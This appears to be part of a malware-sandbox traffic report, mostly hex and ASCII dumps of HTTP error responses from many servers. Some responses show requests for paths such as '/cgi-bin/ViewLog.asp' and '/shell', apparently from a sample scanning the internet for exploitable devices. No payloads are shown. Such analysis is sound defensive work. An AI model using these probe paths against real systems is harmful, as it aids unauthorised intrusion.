20 28 43 65 6e 74 4f 53 29 20 4f 70 65 6e 53 53 4c 2f 31 2e 30 2e 32 6b 2d 66 69 70 73 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 2f 66 72 65 65 70 62 78 2f 65 72 72 6f 72 2e 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 33 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 2f 66 72 65 65 70 62 78 2f 65 72 72 6f 72 2e 68 74 6d 6c 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 301 Moved PermanentlyDate: Thu, 21 Mar 2024 04:22:27 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16Location: https:///freepbx/error.htmlContent-Length: 235Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Perma
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 21 Mar 2024 04:22:28 GMTServer: ApacheContent-Length: 199Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 32 3a 32 38 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:22:28 GMTServer: ApacheContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 21 Mar 2024 04:22:29 GMTServer: ApacheContent-Length: 199Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 32 3a 32 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:22:29 GMTServer: ApacheContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 07:22:29 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:22:30 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 32 3a 33 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 31 33 2e 39 31 2e 31 35 34 2e 36 36 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:22:30 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 305Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:22:30 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 32 3a 33 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 31 33 2e 39 31 2e 31 35 34 2e 36 36 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:22:30 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 305Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 07:22:30 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 07:22:30 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:22:34 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 11:22:34 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 11:22:35 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48X-XSS-Protection: 1;mode=blockContent-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'X-Content-Type-Options: nosniffCONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100content-type: text/htmllast-modified: Fri, 21 Jan 2022 00:32:37 GMTetag: "999-61e9ff25-cd88ea3f64d127dc;gz"accept-ranges: bytescontent-encoding: gzipvary: Accept-Encodingcontent-length: 1159date: Thu, 21 Mar 2024 04:22:47 GMTserver: LiteSpeedplatform: hostingerData Raw: 1f 8b 08 00 00 00 00 00 00 03 85 56 6d 8f db 36 0c fe 9e 5f a1 ba 1f 92 6c b6 e5 dc f5 35 b1 b3 f5 75 18 b0 f5 06 f4 0a 74 b8 1d 06 46 62 6c f6 64 c9 95 94 4b b2 5e ff fb 20 3b 6f f7 92 cd 80 62 8b 7c 48 51 0f 45 2a f9 a3 b7 67 6f ce ff fc e3 1d ab 7c ad a6 bd 3c bc 98 02 5d 16 11 ea 64 e1 22 d6 58 9c d3 aa 88 84 d1 1e b5 1f b3 ca fb 66 cc 79 b3 b0 2a 35 b6 e4 d6 39 3e 4a 33 5e 1b b9 50 e8 f8 06 c8 99 14 f7 c1 52 70 8f b6 76 9c cd 0d cc 77 fa 55 ad b4 4b 85 a9 79 10 f3 2c 1d 71 66 ca 9d da 94 4d 5a 23 d7 ee 31 b3 72 ee 76 f2 e5 72 99 2e 4f 5b c7 27 59 96 f1 6c c4 ad 9c 27 4e 54 58 c3 63 e6 c8 ec 43 08 86 2d 32 48 5b 57 e1 c3 1f d1 fb 75 83 01 72 65 8e ad f6 84 67 27 3c e8 b9 30 16 1f b3 95 93 47 90 23 fe f9 f7 df 3e 76 31 45 d3 5e 2f af 10 e4 b4 c7 18 63 79 8d 1e 5a ab 04 bf 2e e8 ba 88 de 74 ec 25 e7 eb 06 23 b6 e1 b2 88 3c ae 3c 0f c9 99 30 51 81 75 e8 8b 4f e7 ef 93 17 d1 c6 8f f3 6b 85 2c 44 bd c1 0a e7 36 ba f0 fc bc 31 62 51 67 35 d9 69 2e 74 f9 d7 58 28 03 57 97 f1 a1 30 b9 27 93 e0 21 79 48 b1 7a 48 9a 6e 65 07 a2 3d f0 36 ae 22 89 63 6d fc 60 3b 49 40 53 0d 1e 87 ec db 0e 18 1e 49 ae 51 b0 1e 33 6d 34 b2 47 54 37 c6 7a d0 7e bf 9d ef bd dd 67 d8 d8 dc d8 fa 98 8f 99 32 e2 ea 41 cb 10 c6 26 82 c4 55 74 d7 c3 35 39 9a 91 22 bf 1e b3 8a a4 44 fd 1f 5e 44 65 ec 1d fb c6 38 f2 64 f4 98 c1 cc 19 b5 f0 78 68 df a6 93 b7 f9 3c 76 46 3e 27 9f 5e 25 6f 4c dd 80 a7 99 3a 3c 26 bf be 2b 50 96 18 1d 5a 6a a8 b1 88 ae 09 97 81 ad 03 f0 92 a4 af 0a 89 d7 24 30 69 27 31 23 4d 9e 40 25 4e 80 c2 62 b4 75 e4 c9 2b 9c 9e 99 c6 c5 cc 99 1a 7d 45 ba 64 ca 38 9f f3 4e 77 6f 41 89 4e 58 6a c2 46 0f d6 ec 5c 28 63 ae 1c 53 74 85 cc 57 c8 1a 28 91 91 6b fd a5 ec a3 07 eb d9 da 2c 2c 5b e2 cc 91 47 66 74 8b 13 15 42 93 6e 63 52 a4 af 58 8d 92 a0 88 40 a9 88 59 54 45 d4 12 e7 2a 44 1f b1 ca e2 bc 88 78 e5 a5 11 ee 6f b4 d6 d8 8e d8 74 5f 1d 9d 9b 23 a6 81 74 37 e6 bc 86 95 90 3a 9d 19 e3 9d b7 d0 84 49 68 56 3b 01 3f 4d 4f d3 e7 a1 e8 f6 b2 b4 26 7d 6f a1 db 7e e7 46 7b 97 96 c6 94 0a a1 a1 ae 03 0a e7 7e 9a 43 4d 6a 5d 9c 35 a8 7f fc 08 da 8d 4f b3 2c 3e cd 32 8a 9f 64 59 18 14 3f cb b2 30 28 7e 9e 65 61 50 fc 22 cb c2 a0 fb 4c 4c 7b 9b 2e d1 66 64 df 16 06 f3 85 16 21 43 03 8a 5d 6c e2 32 b6 31 c4 f5 f0 1b 5d f4 7f 69 a3 7a a5 41 ad 3d 09 77 36 fb 82 c2 f7 2f 0b 3b a1 0b 7b 59 84 9f 9b 9b 9d fd f0 f6 11 6f 9d 07 48 fa b5 e8 5e 37 37 17 97 c3 b4 59 b8 6a 00 b6 5c d4 a8 bd 1b 7e 8f 5b a5 2a 46 3f 68 5c b2 b7 e0 71 30 9c 40 e1 52 61 11 3c be 53 18 80 03 33 8c 6f b9 af 0b 97 96 e8 37 6a f7 7a 7d 0e e5 07 a8 71 60 86 17 d9 e5 04 52 70 6b 2d 8a d1 04 52 67 45 51 4e ea b4 01 8b da 7f 30 12 53 d2 0e ad 7f 8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:22:42 GMTServer: Apache/2.2.15 (CentOS)Content-Length: 278Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:22:52 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
